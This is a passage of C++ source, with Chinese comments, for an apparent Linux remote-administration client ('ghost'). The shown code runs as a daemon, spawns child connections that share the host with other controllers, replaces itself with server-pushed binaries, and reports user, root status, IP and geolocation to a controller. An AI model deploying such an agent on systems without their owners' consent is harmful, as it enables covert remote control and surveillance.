signal(SIGTERM, signalHandler); // kill 默认信号
|
||
signal(SIGINT, signalHandler); // Ctrl+C
|
||
signal(SIGHUP, SIG_IGN); // 终端断开时忽略
|
||
signal(SIGPIPE, SIG_IGN); // 写入已关闭的 socket 时忽略
|
||
}
|
||
|
||
// ============== 主机分享:分享子进程管理 ==============
|
||
// 每条分享记录对应一个子进程:`<exe> --share <ip:port[:shine[:transport]]>`。子进程
|
||
// 有自己的连接、日志文件(log_*_<pid>.txt)和重连循环,复用 main() 的全部逻辑;主实例
|
||
// 只负责起停和收尸。
|
||
static void ShareReaperLoop()
|
||
{
|
||
while (!g_shareReaperStop.load(std::memory_order_relaxed)) {
|
||
{
|
||
std::lock_guard<std::mutex> lk(g_shareMu);
|
||
for (auto it = g_shareProcs.begin(); it != g_shareProcs.end(); ) {
|
||
int st = 0;
|
||
pid_t r = waitpid(it->second.pid, &st, WNOHANG);
|
||
if (r == it->second.pid) {
|
||
const char* kind = it->second.transfer ? "Transfer instance" : "Share instance";
|
||
if (WIFEXITED(st))
|
||
Mprintf(">>> %s %s exited (code %d)\n",
|
||
kind, it->first.c_str(), WEXITSTATUS(st));
|
||
else if (WIFSIGNALED(st))
|
||
Mprintf(">>> %s %s exited by signal %d\n",
|
||
kind, it->first.c_str(), WTERMSIG(st));
|
||
else
|
||
Mprintf(">>> %s %s exited\n", kind, it->first.c_str());
|
||
it = g_shareProcs.erase(it);
|
||
} else if (r < 0 && errno == ECHILD) {
|
||
it = g_shareProcs.erase(it); // 已被别处收走(防御)
|
||
} else {
|
||
++it;
|
||
}
|
||
}
|
||
}
|
||
for (int i = 0; i < 10 && !g_shareReaperStop.load(std::memory_order_relaxed); ++i)
|
||
Sleep(100);
|
||
}
|
||
}
|
||
|
||
static void EnsureShareReaper()
|
||
{
|
||
static std::once_flag once;
|
||
std::call_once(once, [] { g_shareReaperThread = std::thread(ShareReaperLoop); });
|
||
}
|
||
|
||
// fork + execv 拉起一个分享子进程。fork 之后只做 async-signal-safe 调用(参数数组、
|
||
// fd 上限、路径都在 fork 前准备好),日志一律不碰——和 daemonize() 里踩过的
|
||
// 「fork 时日志线程持锁」是同一类坑。
|
||
static pid_t SpawnShareProcess(const std::string& entry)
|
||
{
|
||
std::string exe = getExePath();
|
||
if (exe.empty()) {
|
||
Mprintf("** SHARE: cannot resolve own executable path ***\n");
|
||
return -1;
|
||
}
|
||
std::string flag = "--share";
|
||
std::vector<char*> args;
|
||
args.push_back(&exe[0]);
|
||
args.push_back(&flag[0]);
|
||
args.push_back(const_cast<char*>(entry.c_str()));
|
||
args.push_back(nullptr);
|
||
|
||
long maxFd = sysconf(_SC_OPEN_MAX);
|
||
if (maxFd < 0 || maxFd > 65536) maxFd = 65536;
|
||
|
||
pid_t pid = fork();
|
||
if (pid < 0) {
|
||
Mprintf("** SHARE: fork failed: %s ***\n", strerror(errno));
|
||
return -1;
|
||
}
|
||
if (pid == 0) {
|
||
// 主实例被 SIGKILL 时也要跟着退,别留下孤儿分享连接一直挂在目标主控上
|
||
prctl(PR_SET_PDEATHSIG, SIGTERM);
|
||
if (getppid() == 1) _exit(1); // fork 与 prctl 之间主实例已经没了
|
||
setsid();
|
||
int devnull = open("/dev/null", O_RDWR);
|
||
if (devnull >= 0) {
|
||
dup2(devnull, STDIN_FILENO);
|
||
dup2(devnull, STDOUT_FILENO);
|
||
dup2(devnull, STDERR_FILENO);
|
||
if (devnull > STDERR_FILENO) close(devnull);
|
||
}
|
||
// 关掉继承的 socket / 日志 fd:子进程要用自己的连接和自己的日志文件
|
||
for (long f = STDERR_FILENO + 1; f < maxFd; ++f)
|
||
close((int)f);
|
||
execv(exe.c_str(), args.data());
|
||
_exit(127); // exec 失败:主实例日志里能看到子进程立刻退出
|
||
}
|
||
return pid;
|
||
}
|
||
|
||
// 子进程还活着吗?僵尸也算「已退出」:kill(pid, 0) 对僵尸仍然成功,会把一个已经
|
||
// 死掉、只等 reaper 收尸的空槽当成在跑,随后同一目标的重复下发被静默丢掉。
|
||
// 调用方须持有 g_shareMu(reaper 线程也用同一把锁做 waitpid,不会两边抢收尸)。
|
||
static bool ChildAliveLocked(pid_t pid)
|
||
{
|
||
int st = 0;
|
||
pid_t r = waitpid(pid, &st, WNOHANG);
|
||
return r == 0; // 0 = 还在跑;=pid 本次已收尸;-1/ECHILD = reaper 已收走
|
||
}
|
||
|
||
// 结束一个子进程:SIGTERM 最多等 3 秒,不走再 SIGKILL 等 1 秒。调用方须持有 g_shareMu。
|
||
// 不做无限期阻塞 waitpid:万一是 D 状态的进程,卡住的就是整个命令处理线程。
|
||
static void TerminateChildLocked(pid_t pid)
|
||
{
|
||
if (!ChildAliveLocked(pid))
|
||
return;
|
||
kill(pid, SIGTERM);
|
||
for (int i = 0; i < 30; ++i) {
|
||
Sleep(100);
|
||
if (!ChildAliveLocked(pid))
|
||
return;
|
||
}
|
||
kill(pid, SIGKILL);
|
||
for (int i = 0; i < 10; ++i) {
|
||
Sleep(100);
|
||
if (!ChildAliveLocked(pid))
|
||
return;
|
||
}
|
||
Mprintf(">>> Child pid %d still alive after SIGKILL, giving up on it\n", (int)pid);
|
||
}
|
||
|
||
// 起一个受管子进程并登记。key 在本进程内唯一:分享用 "ip:port",转移用 "transfer:ip:port",
|
||
// 这样转移目标与分享目标相同也不会互相顶掉。
|
||
static bool SpawnManagedChild(const std::string& key, const std::string& entry, bool transfer)
|
||
{
|
||
EnsureShareReaper();
|
||
|
||
std::lock_guard<std::mutex> lk(g_shareMu);
|
||
auto it = g_shareProcs.find(key);
|
||
if (it != g_shareProcs.end()) {
|
||
// 完全相同的记录且子进程还活着:什么都不用做(与 Windows 的 identical 分支一致)。
|
||
// 否则重复下发一次分享就会白断一次连接。
|
||
if (it->second.entry == entry && ChildAliveLocked(it->second.pid)) {
|
||
Mprintf(">>> Connection to %s already running (pid %d), unchanged\n",
|
||
key.c_str(), (int)it->second.pid);
|
||
return true;
|
||
}
|
||
// 同一目标已经有一条连接(或旧连接已死):先收掉旧的再起新的,
|
||
// 否则同一个 clientID 会有两条连接互相踢。
|
||
Mprintf(">>> Connection to %s already running (pid %d), restarting as %s\n",
|
||
key.c_str(), (int)it->second.pid, entry.c_str());
|
||
TerminateChildLocked(it->second.pid);
|
||
g_shareProcs.erase(it);
|
||
}
|
||
|
||
pid_t pid = SpawnShareProcess(entry);
|
||
if (pid <= 0)
|
||
return false;
|
||
g_shareProcs[key] = ShareProc{ pid, entry, transfer };
|
||
Mprintf(">>> %s instance started: %s (pid %d)\n",
|
||
transfer ? "Transfer" : "Share", entry.c_str(), (int)pid);
|
||
return true;
|
||
}
|
||
|
||
static bool StartShareInstance(const std::string& entry)
|
||
{
|
||
HostShare::Endpoint ep;
|
||
if (!HostShare::DecodeEntry(entry, ep))
|
||
return false;
|
||
const std::string shareKey = HostShare::MasterKey(ep);
|
||
{
|
||
// 同一主控上已有一条「转移」临时连接:分享是长期连接,接管它的职责。
|
||
// 不收掉的话,这个主控上会挂着同一 clientID 的两条连接,互踢。
|
||
const std::string transferKey = "transfer:" + shareKey;
|
||
std::lock_guard<std::mutex> lk(g_shareMu);
|
||
auto it = g_shareProcs.find(transferKey);
|
||
if (it != g_shareProcs.end()) {
|
||
Mprintf(">>> Share to %s replaces the transfer instance (pid %d)\n",
|
||
shareKey.c_str(), (int)it->second.pid);
|
||
TerminateChildLocked(it->second.pid);
|
||
g_shareProcs.erase(it);
|
||
}
|
||
}
|
||
return SpawnManagedChild(shareKey, entry, false);
|
||
}
|
||
|
||
// 「转移主机」立即生效的那条连接:不进 share_list(重启后由主连接自己过去),
|
||
// 也不受「取消分享」影响;目标可以暂时不可达,子进程有自己的重连循环。
|
||
static bool StartTransferInstance(const std::string& entry)
|
||
{
|
||
HostShare::Endpoint ep;
|
||
if (!HostShare::DecodeEntry(entry, ep))
|
||
return false;
|
||
const std::string shareKey = HostShare::MasterKey(ep);
|
||
{
|
||
// 同一个主控已经有分享连接时不必再起一条:目标那边已经能看到这台主机,
|
||
// 两条同 clientID 的连接只会互相踢。
|
||
std::lock_guard<std::mutex> lk(g_shareMu);
|
||
auto it = g_shareProcs.find(shareKey);
|
||
if (it != g_shareProcs.end() && !it->second.transfer
|
||
&& ChildAliveLocked(it->second.pid)) {
|
||
Mprintf(">>> Transfer target %s already reachable via share instance "
|
||
"(pid %d), extra connection skipped\n",
|
||
shareKey.c_str(), (int)it->second.pid);
|
||
return true;
|
||
}
|
||
}
|
||
return SpawnManagedChild("transfer:" + shareKey, entry, true);
|
||
}
|
||
|
||
// 停掉指定归属的子进程:SIGTERM 让子进程走自己的 signal handler 正常退出,
|
||
// 3 秒还不走就 SIGKILL(再等 1 秒)。
|
||
// 等待阶段不持 g_shareMu:调用点就在接收线程上,持锁睡会把 reaper 和其它起停一起堵住。
|
||
static void StopChildren(ManagedKind kind)
|
||
{
|
||
auto match = [kind](const ShareProc& p) {
|
||
return kind == KIND_ALL || p.transfer == (kind == KIND_TRANSFER);
|
||
};
|
||
|
||
std::vector<pid_t> pids;
|
||
{
|
||
std::lock_guard<std::mutex> lk(g_shareMu);
|
||
for (auto& kv : g_shareProcs)
|
||
if (match(kv.second))
|
||
pids.push_back(kv.second.pid);
|
||
for (pid_t pid : pids)
|
||
kill(pid, SIGTERM); // 只发信号,不等待
|
||
}
|
||
if (pids.empty())
|
||
return;
|
||
Mprintf(">>> Stopping %d child connection(s)\n", (int)pids.size());
|
||
|
||
// 收尸可能已被 reaper 线程抢先(ECHILD),一律按「已退出」处理。
|
||
auto exited = [](pid_t pid) {
|
||
int st = 0;
|
||
pid_t r = waitpid(pid, &st, WNOHANG);
|
||
return r == pid || (r < 0 && errno == ECHILD);
|
||
};
|
||
auto waitGone = [&](int rounds) {
|
||
std::vector<pid_t> left;
|
||
for (int i = 0; i < rounds; ++i) {
|
||
left.clear();
|
||
for (pid_t pid : pids)
|
||
if (!exited(pid)) left.push_back(pid);
|
||
if (left.empty()) break;
|
||
Sleep(100);
|
||
}
|
||
left.clear();
|
||
for (pid_t pid : pids)
|
||
if (!exited(pid)) left.push_back(pid);
|
||
return left;
|
||
};
|
||
|
||
std::vector<pid_t> left = waitGone(30);
|
||
for (pid_t pid : left)
|
||
kill(pid, SIGKILL);
|
||
if (!left.empty())
|
||
left = waitGone(10);
|
||
if (!left.empty())
|
||
Mprintf(">>> %d child connection(s) still alive after SIGKILL\n", (int)left.size());
|
||
|
||
std::lock_guard<std::mutex> lk(g_shareMu);
|
||
for (auto it = g_shareProcs.begin(); it != g_shareProcs.end(); ) {
|
||
// 只摘掉本次停掉的 pid:等待期间可能已经起了新目标,按 kind 删会误伤。
|
||
if (std::find(pids.begin(), pids.end(), it->second.pid) != pids.end())
|
||
it = g_shareProcs.erase(it);
|
||
else
|
||
++it;
|
||
}
|
||
}
|
||
|
||
// 启动时恢复上次的分享(重启前没取消的条目)。
|
||
static void StartShareInstancesFromConfig()
|
||
{
|
||
LinuxConfig cfg;
|
||
auto items = HostShare::Split(cfg.GetStr("share_list"));
|
||
if (items.size() > kMaxShareEntries) {
|
||
Mprintf(">>> share_list has %d entries, only the first %d are restored\n",
|
||
(int)items.size(), (int)kMaxShareEntries);
|
||
items.resize(kMaxShareEntries);
|
||
}
|
||
for (auto& entry : items) {
|
||
Mprintf(">>> Restoring share: %s\n", entry.c_str());
|
||
StartShareInstance(entry);
|
||
}
|
||
}
|
||
|
||
// ============== 客户端自升级(COMMAND_UPDATE) ==============
|
||
// 服务端 -> Linux 客户端载荷布局(Windows 的 COMMAND_UPDATE 没有摘要,LNX 有):
|
||
// [cmd:1][size:8 LE][ELF payload:size][md5:32 ASCII 小写 hex]
|
||
// 摘要只用于发现传输/落盘损坏:主通道本身已有掩码 + 可选 TLS。
|
||
//
|
||
// 关键约束:
|
||
// - 正在运行的 ELF 不能 O_TRUNC / 原地覆盖(ETXTBSY),必须先写同目录临时文件
|
||
// (同一文件系统,rename 才是原子的);
|
||
// - Linux 允许 rename() 覆盖正在执行的 inode,老进程继续跑完自己那份,
|
||
// 新进程用新 inode;
|
||
// - fork 子进程 -> setsid -> 关掉继承的 fd -> 等老进程退出 -> execv,
|
||
// 否则服务端会看到同一 clientID 两条连接并存,且新进程写 PID 文件前可能
|
||
// 被 isAlreadyRunning() 误判。
|
||
// 升级失败一律不退出进程:报错(ClientMsg 报到服务端消息栏 + 写客户端日志)后
|
||
// 继续用当前版本。
|
||
|
||
static const size_t kUpdateMd5HexLen = 32;
|
||
|
||
// MD5 小写 hex;与 Windows 侧 common/md5.h CalcMD5FromBytes 输出一致
|
||
static std::string md5HexOf(const unsigned char* data, size_t len)
|
||
{
|
||
unsigned char digest[EVP_MAX_MD_SIZE];
|
||
unsigned int digestLen = 0;
|
||
std::string hex;
|
||
EVP_MD_CTX* ctx = EVP_MD_CTX_new();
|
||
if (!ctx) return hex;
|
||
if (EVP_DigestInit_ex(ctx, EVP_md5(), nullptr) == 1 &&
|
||
EVP_DigestUpdate(ctx, data, len) == 1 &&
|
||
EVP_DigestFinal_ex(ctx, digest, &digestLen) == 1) {
|
||
static const char kHex[] = "0123456789abcdef";
|
||
hex.reserve(digestLen * 2);
|
||
for (unsigned int i = 0; i < digestLen; ++i) {
|
||
hex.push_back(kHex[digest[i] >> 4]);
|
||
hex.push_back(kHex[digest[i] & 0x0F]);
|
||
}
|
||
}
|
||
EVP_MD_CTX_free(ctx);
|
||
return hex;
|
||
}
|
||
|
||
// 自身 ELF 头的 e_machine(偏移 18,ELF32/ELF64 相同),用于拒绝架构不符的包
|
||
static int selfElfMachine()
|
||
{
|
||
std::ifstream f("/proc/self/exe", std::ios::binary);
|
||
unsigned char hdr[20] = {};
|
||
if (!f.read((char*)hdr, sizeof(hdr))) return -1;
|
||
if (hdr[0] != 0x7f || hdr[1] != 'E' || hdr[2] != 'L' || hdr[3] != 'F') return -1;
|
||
return hdr[18] | (hdr[19] << 8);
|
||
}
|
||
|
||
// 升级失败回报:客户端没有 UI,走 ClientMsg(服务端消息栏 + get_audit_log)并写日志
|
||
static void reportUpdateFailure(const std::string& reason)
|
||
{
|
||
Mprintf("** UPDATE failed: %s ***\n", reason.c_str());
|
||
if (!g_pMainClient || !g_pMainClient->IsConnected()) return;
|
||
ClientMsg msg("Linux client update failed", reason.c_str());
|
||
g_pMainClient->Send2Server((char*)&msg, sizeof(msg));
|
||
}
|
||
|
||
static bool writeAll(int fd, const unsigned char* data, size_t len)
|
||
{
|
||
while (len > 0) {
|
||
ssize_t n = write(fd, data, len);
|
||
if (n <= 0) {
|
||
if (n < 0 && errno == EINTR) continue;
|
||
return false;
|
||
}
|
||
data += n;
|
||
len -= (size_t)n;
|
||
}
|
||
return true;
|
||
}
|
||
|
||
static void ApplySelfUpdate(const PBYTE szBuffer, ULONG ulLength)
|
||
{
|
||
const size_t headerLen = 1 + sizeof(uint64_t);
|
||
if (ulLength < headerLen + kUpdateMd5HexLen) {
|
||
reportUpdateFailure("payload too short");
|
||
return;
|
||
}
|
||
uint64_t size = 0;
|
||
memcpy(&size, szBuffer + 1, sizeof(size));
|
||
if (size == 0 || size > (uint64_t)(ulLength - headerLen - kUpdateMd5HexLen)) {
|
||
reportUpdateFailure("payload size invalid");
|
||
return;
|
||
}
|
||
const unsigned char* payload = szBuffer + headerLen;
|
||
const char* trailer = (const char*)payload + size;
|
||
|
||
if (size < 20 || payload[0] != 0x7f || payload[1] != 'E' ||
|
||
payload[2] != 'L' || payload[3] != 'F') {
|
||
reportUpdateFailure("payload is not an ELF binary");
|
||
return;
|
||
}
|
||
int machine = payload[18] | (payload[19] << 8);
|
||
int selfMachine = selfElfMachine();
|
||
if (selfMachine > 0 && machine != selfMachine) {
|
||
char buf[96];
|
||
snprintf(buf, sizeof(buf), "arch mismatch: payload e_machine=%d, running=%d",
|
||
machine, selfMachine);
|
||
reportUpdateFailure(buf);
|
||
return;
|
||
}
|
||
|
||
std::string expect(trailer, kUpdateMd5HexLen);
|
||
for (auto& c : expect) c = (char)tolower((unsigned char)c);
|
||
std::string actual = md5HexOf(payload, (size_t)size);
|
||
if (actual.empty() || actual != expect) {
|
||
reportUpdateFailure("md5 mismatch (corrupted payload)");
|
||
return;
|
||
}
|
||
|
||
std::string target = getExePath();
|
||
size_t slash = target.find_last_of('/');
|
||
if (target.empty() || slash == std::string::npos) {
|
||
reportUpdateFailure("cannot resolve own executable path");
|
||
return;
|
||
}
|
||
std::string dir = target.substr(0, slash + 1);
|
||
std::string base = target.substr(slash + 1);
|
||
std::string tmp = dir + "." + base + ".new." + std::to_string((long)getpid());
|
||
std::string backup = target + ".old";
|
||
|
||
unlink(tmp.c_str()); // 上一轮残留(同一 pid 复用)
|
||
int fd = open(tmp.c_str(), O_WRONLY | O_CREAT | O_EXCL, 0755);
|
||
if (fd < 0) {
|
||
reportUpdateFailure("cannot create " + tmp + ": " + strerror(errno));
|
||
return;
|
||
}
|
||
bool ok = writeAll(fd, payload, (size_t)size);
|
||
if (ok) ok = (fchmod(fd, 0755) == 0);
|
||
if (ok) ok = (fsync(fd) == 0);
|
||
if (close(fd) != 0) ok = false;
|
||
if (!ok) {
|
||
int err = errno;
|
||
unlink(tmp.c_str());
|
||
reportUpdateFailure("cannot write " + tmp + ": " + strerror(err));
|
||
return;
|
||
}
|
||
|
||
// 备份旧版本便于回滚(下次升级时覆盖);备份失败不影响升级
|
||
unlink(backup.c_str());
|
||
if (link(target.c_str(), backup.c_str()) != 0) {
|
||
Mprintf("** UPDATE: no backup kept (%s): %s ***\n", backup.c_str(), strerror(errno));
|
||
}
|
||
if (rename(tmp.c_str(), target.c_str()) != 0) {
|
||
int err = errno;
|
||
unlink(tmp.c_str());
|
||
reportUpdateFailure("cannot replace " + target + ": " + strerror(err));
|
||
return;
|
||
}
|
||
|
||
// 先把参数数组准备好(fork 之后只做 async-signal-safe 的事)
|
||
std::string arg0 = target;
|
||
std::vector<char*> args;
|
||
args.reserve((size_t)g_argc + 1);
|
||
args.push_back(&arg0[0]);
|
||
for (int i = 1; i < g_argc; ++i) args.push_back(g_argv[i]);
|
||
args.push_back(nullptr);
|
||
|
||
long maxFd = sysconf(_SC_OPEN_MAX);
|
||
if (maxFd < 0 || maxFd > 65536) maxFd = 65536;
|
||
pid_t parent = getpid();
|
||
|
||
// 先摘掉 PID 文件:新进程主循环前的 isAlreadyRunning() 不能看到老 pid
|
||
removePidFile();
|
||
|
||
pid_t pid = fork();
|
||
if (pid < 0) {
|
||
int err = errno;
|
||
writePidFile(); // 升级没完成,恢复现状
|
||
reportUpdateFailure(std::string("fork failed: ") + strerror(err));
|
||
return;
|
||
}
|
||
if (pid == 0) {
|
||
setsid();
|
||
int devnull = open("/dev/null", O_RDWR);
|
||
if (devnull >= 0) {
|
||
dup2(devnull, STDIN_FILENO);
|
||
dup2(devnull, STDOUT_FILENO);
|
||
dup2(devnull, STDERR_FILENO);
|
||
if (devnull > STDERR_FILENO) close(devnull);
|
||
}
|
||
// 关掉继承的 socket / 日志等 fd,避免老连接挂着不放
|
||
for (long f = STDERR_FILENO + 1; f < maxFd; ++f) close((int)f);
|
||
// 等老进程退出再 exec(最多 5s)。僵尸态 kill(pid,0) 仍返回存活,故设上限。
|
||
for (int i = 0; i < 50 && kill(parent, 0) == 0; ++i) usleep(100 * 1000);
|
||
execv(target.c_str(), args.data());
|
||
_exit(127); // exec 失败:新版本已落盘,下次启动会用它
|
||
}
|
||
|
||
Mprintf("** UPDATE applied: %s (%llu bytes), restarting ***\n",
|
||
target.c_str(), (unsigned long long)size);
|
||
g_bExit = S_CLIENT_UPDATE;
|
||
}
|
||
|
||
// 登录信息 szReserved 里的 [19] RES_TLS 是「当前」传输状态的快照,服务端在线列表的
|
||
// TLS 列就取这个值。热切换后重连会重新登录,必须在这里刷新,否则列里会一直显示旧值。
|
||
// 只在主线程调用(与 SendLoginInfo 同一线程),避免和接收线程抢同一个结构体。
|
||
static void RefreshLoginTls(LOGIN_INFOR& info)
|
||
{
|
||
info.SetReserved(RES_TLS, TlsEnabled() ? "1" : "0");
|
||
}
|
||
|
||
// 登录信息 szReserved 里的 [20] RES_UPTIME 是「登录这一刻进程已经运行了多少秒」,服务端
|
||
// 再加本次上线时长才是当前运行时长。logInfo 在重连循环外只构造一次(见 main 里的注释),
|
||
// 不刷新的话每次重连上报的仍是进程启动那一瞬的 0,服务端算出来就只剩「本次连接时长」——
|
||
// vps 实测:进程从 11-14 06:33 一直跑着,浮窗却只显示 1.3h(正好是当天 09:05 那次重连到
|
||
// 双击时刻的间隔),而启动时间本身是对的。与 RefreshLoginTls 同样只在主线程登录前调用。
|
||
static void RefreshLoginUptime(LOGIN_INFOR& info)
|
||
{
|
||
info.SetReserved(RES_UPTIME, std::to_string(getProcessUptimeSeconds()).c_str());
|
||
}
|
||
|
||
// 能力位(moduleVersion 的 "-%04X" 后缀)里唯一依赖运行环境的是屏幕预览:
|
||
// 只在本机当前真有可抓的 X11 桌面时才声明,无桌面的服务器不该被服务端要求截图。
|
||
// 与 RefreshLoginTls 一样只在主线程登录前调用,每次重连都会重新判断。
|
||
static void RefreshLoginCaps(LOGIN_INFOR& info)
|
||
{
|
||
unsigned int caps = LOGIN_INFOR::DefaultCaps();
|
||
if (ScreenPreview::IsAvailable()) {
|
||
caps |= CLIENT_CAP_SCREEN_PREVIEW;
|
||
}
|
||
info.SetCaps(caps);
|
||
}
|
||
|
||
// 用法: ./ghost [-d] [IP] [端口]
|
||
// -d 后台守护进程模式
|
||
// --share <ip:port[:shine[:transport]]> 分享实例(由主实例 fork+exec 拉起,不是给
|
||
// 人用的入口):连分享目标主控,不写 PID 文件、不处理分享/转移/升级命令。
|
||
// 示例: ./ghost -d 192.168.1.100 6543
|
||
int main(int argc, char* argv[])
|
||
{
|
||
g_argc = argc;
|
||
g_argv = argv;
|
||
|
||
// 分享子进程优先解析:它只有一个 --share 参数,不参与 -d / 位置参数那一套。
|
||
HostShare::Endpoint shareTarget;
|
||
for (int i = 1; i < argc; ++i) {
|
||
if (strcmp(argv[i], "--share") != 0)
|
||
continue;
|
||
if (i + 1 >= argc || !HostShare::DecodeEntry(argv[i + 1], shareTarget)) {
|
||
fprintf(stderr, "ghost: invalid --share argument\n");
|
||
return 1;
|
||
}
|
||
g_bShareInstance = true;
|
||
break;
|
||
}
|
||
|
||
// 解析 -d 参数
|
||
bool daemon_mode = false;
|
||
int argStart = 1;
|
||
if (argc > 1 && strcmp(argv[1], "-d") == 0) {
|
||
daemon_mode = true;
|
||
argStart = 2;
|
||
}
|
||
|
||
if (g_bShareInstance) {
|
||
// 分享实例的连接参数来自 --share,其余(机器身份、配置、日志目录)与主实例相同
|
||
HostEndpoint::ApplyEndpoint(g_SETTINGS, shareTarget);
|
||
} else if (argStart + 1 < argc) {
|
||
g_SETTINGS.SetServer(argv[argStart], atoi(argv[argStart + 1]));
|
||
} else if (argStart < argc) {
|
||
g_SETTINGS.SetServer(argv[argStart], g_SETTINGS.ServerPort());
|
||
}
|
||
|
||
// 守护进程化(必须在 getpid() 等调用之前)
|
||
if (daemon_mode) {
|
||
if (isAlreadyRunning()) {
|
||
fprintf(stderr, "ghost is already running.\n");
|
||
return 1;
|
||
}
|
||
daemonize();
|
||
}
|
||
|
||
// 信号处理
|
||
setupSignals();
|
||
|
||
// 写 PID 文件(守护进程模式下 PID 已变为子进程的)。分享实例共用同一份配置,
|
||
// 写 PID 文件会把主实例的覆盖掉,退出时也会把它删掉——只有主实例才写。
|
||
if (!g_bShareInstance)
|
||
writePidFile();
|
||
|
||
// 上次的「转移主机」还没到期就改连目标主控(原地址记在内存里,过期后恢复)。
|
||
// 必须在 daemonize() 之后:它在有记录时会打日志,而 fork 时若日志线程正持有
|
||
// 内部锁,子进程会永远卡在那把锁上(实测 -d 启动后只剩一行 fork 前的日志,
|
||
// 父子进程都停在 futex)。fork 之前一律不碰 Logger。
|
||
// 分享实例不读转移记录:转移属于主连接,读了会把分享链路带到别的主控去。
|
||
if (!g_bShareInstance) {
|
||
InitTransferState();
|
||
// 上次没收走的分享(取消分享或主实例正常退出才会清)在这里重新拉起
|
||
StartShareInstancesFromConfig();
|
||
}
|
||
|
||
Mprintf("Server: %s:%d (PID: %d%s)\n",
|
||
g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort(),
|
||
getpid(), daemon_mode ? ", daemon" : "");
|
||
|
||
char hostname[256] = {};
|
||
gethostname(hostname, sizeof(hostname));
|
||
|
||
// 只构造一次,每次连接复用它发登录。因此凡是「随连接变化」的字段都必须在发送前
|
||
// 用 RefreshLoginTls / RefreshLoginUptime / RefreshLoginCaps 刷新;反过来,属于
|
||
// 「进程启动时的事实」(szStartTime、clientID、安装时间…)就靠复用保持不变。
|
||
LOGIN_INFOR logInfo;
|
||
|
||
// 读取分组名称(从配置文件或 g_SETTINGS)
|
||
LinuxConfig cfgGroup;
|
||
std::string groupName = cfgGroup.GetStr("group_name");
|
||
if (!groupName.empty()) {
|
||
// 更新 g_SETTINGS
|
||
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
|
||
} else if (g_SETTINGS.szGroupName[0] != 0) {
|
||
groupName = g_SETTINGS.szGroupName;
|
||
}
|
||
|
||
// 主机名(带分组:hostname/groupname)
|
||
if (!groupName.empty()) {
|
||
std::string pcNameWithGroup = std::string(hostname) + "/" + groupName;
|
||
strncpy(logInfo.szPCName, pcNameWithGroup.c_str(), sizeof(logInfo.szPCName) - 1);
|
||
} else {
|
||
strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1);
|
||
}
|
||
logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0';
|
||
|
||
// 操作系统版本(如 "Ubuntu 24.04 LTS")
|
||
std::string distro = getLinuxDistro();
|
||
strncpy(logInfo.OsVerInfoEx, distro.c_str(), sizeof(logInfo.OsVerInfoEx) - 1);
|
||
logInfo.OsVerInfoEx[sizeof(logInfo.OsVerInfoEx) - 1] = '\0';
|
||
|
||
// 启动时间:进程创建时刻(北京时间),非本次登录时刻
|
||
std::string procStart = getProcessStartTime();
|
||
strncpy(logInfo.szStartTime, procStart.c_str(), sizeof(logInfo.szStartTime) - 1);
|
||
logInfo.szStartTime[sizeof(logInfo.szStartTime) - 1] = '\0';
|
||
|
||
// CPU 主频
|
||
double freq = parse_sysfs_freq(); // 最可靠:从内核 sysfs 读取
|
||
if (freq < 0) freq = parse_lscpu();
|
||
if (freq < 0) freq = parse_cpuinfo();
|
||
logInfo.dwCPUMHz = freq > 0 ? static_cast<unsigned int>(freq) : 0;
|
||
|
||
// 摄像头
|
||
logInfo.bWebCamIsExist = 0;
|
||
|
||
// 可执行文件路径
|
||
std::string exePath = getExePath();
|
||
|
||
// 读取配置文件(~/.config/ghost/config.conf)
|
||
LinuxConfig cfg;
|
||
|
||
// 安装时间:首次运行写入,后续从配置文件读取
|
||
std::string installTime = cfg.GetStr("install_time");
|
||
if (installTime.empty()) {
|
||
installTime = ToPekingTimeAsString(nullptr);
|
||
cfg.SetStr("install_time", installTime);
|
||
Mprintf("First run, install_time saved: %s\n", installTime.c_str());
|
||
}
|
||
|
||
// 公网 IP 和地理位置:缓存到配置文件,7 天过期后重新查询
|
||
std::string pubIP = cfg.GetStr("public_ip");
|
||
std::string location = cfg.GetStr("location");
|
||
int ipTime = cfg.GetInt("ip_time");
|
||
bool ipExpired = ipTime <= 0 || (time(nullptr) - ipTime > 7 * 86400);
|
||
if (pubIP.empty() || location.empty() || ipExpired) {
|
||
pubIP = getPublicIP();
|
||
if (!pubIP.empty()) {
|
||
location = getGeoLocation(pubIP);
|
||
cfg.SetStr("public_ip", pubIP);
|
||
cfg.SetStr("location", location);
|
||
cfg.SetInt("ip_time", (int)time(nullptr));
|
||
Mprintf("IP/Location updated: %s / %s\n", pubIP.c_str(), location.c_str());
|
||
}
|
||
}
|
||
|
||
// ============== 填充 szReserved(19 个字段,与服务端 LOGIN_RES 枚举一一对应)==============
|
||
logInfo.AddReserved("LNX"); // [0] RES_CLIENT_TYPE
|
||
logInfo.AddReserved(sizeof(void*) == 4 ? 32 : 64); // [1] RES_SYSTEM_BITS
|
||
logInfo.AddReserved(getCPUCores()); // [2] RES_SYSTEM_CPU
|
||
logInfo.AddReserved(getMemorySizeGB()); // [3] RES_SYSTEM_MEM
|
||
logInfo.AddReserved(exePath.c_str()); // [4] RES_FILE_PATH
|
||
logInfo.AddReserved("?"); // [5] RES_RESVERD
|
||
logInfo.AddReserved(installTime.c_str()); // [6] RES_INSTALL_TIME
|
||
logInfo.AddReserved("?"); // [7] RES_INSTALL_INFO
|
||
logInfo.AddReserved(sizeof(void*) == 4 ? 32 : 64); // [8] RES_PROGRAM_BITS
|
||
logInfo.AddReserved(""); // [9] RES_EXPIRED_DATE
|
||
logInfo.AddReserved(location.c_str()); // [10] RES_CLIENT_LOC
|
||
logInfo.AddReserved(pubIP.c_str()); // [11] RES_CLIENT_PUBIP
|
||
logInfo.AddReserved("v1.0.0"); // [12] RES_EXE_VERSION
|
||
logInfo.AddReserved(getUsername().c_str()); // [13] RES_USERNAME
|
||
logInfo.AddReserved(getuid() == 0 ? 1 : 0); // [14] RES_ISADMIN
|
||
logInfo.AddReserved(getScreenResolution().c_str()); // [15] RES_RESOLUTION
|
||
// V2 ID 算法:machine-id + 归一化路径
|
||
// - 同机同程序路径永远同 ID(不依赖 IP/hostname/distro/CPU 漂移)
|
||
// - 局域网多机即便同镜像,cloud-init/kickstart 会让 machine-id 各不同
|
||
// - machine-id 读取失败时退化到老算法(pubIP|hostname|distro|cpu|path)保兼容
|
||
std::string machineId = getMachineId();
|
||
if (!machineId.empty()) {
|
||
std::string normPath = normalizeExePathLower(exePath);
|
||
